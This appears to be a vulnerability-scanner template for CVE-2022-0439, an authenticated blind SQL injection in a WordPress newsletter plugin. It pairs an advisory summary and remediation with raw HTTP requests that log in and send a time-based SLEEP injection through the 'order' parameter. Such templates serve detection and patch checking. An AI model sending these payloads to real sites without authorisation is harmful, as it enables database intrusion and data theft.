The Email Subscribers & Newsletters WordPress plugin before 5.3.2 does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.
PoC
id: CVE-2022-0439
info:
name: Email Subscribers & Newsletters <= 5.3.1 - Authenticated SQL Injection
author: Shivam Kamboj
severity: high
description: |
The Email Subscribers & Newsletters WordPress plugin before 5.3.2 does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.
impact: |
Attackers can execute arbitrary SQL commands and access sensitive data, potentially leading to data breach or data tampering.
remediation: |
Update to version 5.3.2, or a newer patched version
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0439
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/email-subscribers/email-subscribers-newsletters-531-authenticated-or-cross-site-request-forgery-blind-sql-injection
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-0439
epss-score: 0.04156
epss-percentile: 0.90354
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
publicwww-query: "/plugins/email-subscribers/"
tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,email-subscribers,authenticated,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(header, "wordpress_logged_in")'
condition: and
internal: true
- raw:
- |
@timeout: 20s
GET /wp-admin/admin-ajax.php?action=ajax_fetch_report_list&order=,(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'duration >= 10'
- 'status_code == 200'
- 'contains(body, "column-email")'
condition: and
# digest: 490a0046304402204fb7cd1b9f539f298d52b49752aaf3d4c5270ef3f0b5d53d0b9e292369f46087022043d5164c1af2f2c6aaa00473e072489abf8632399df60dfb0ec892fba8939837:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.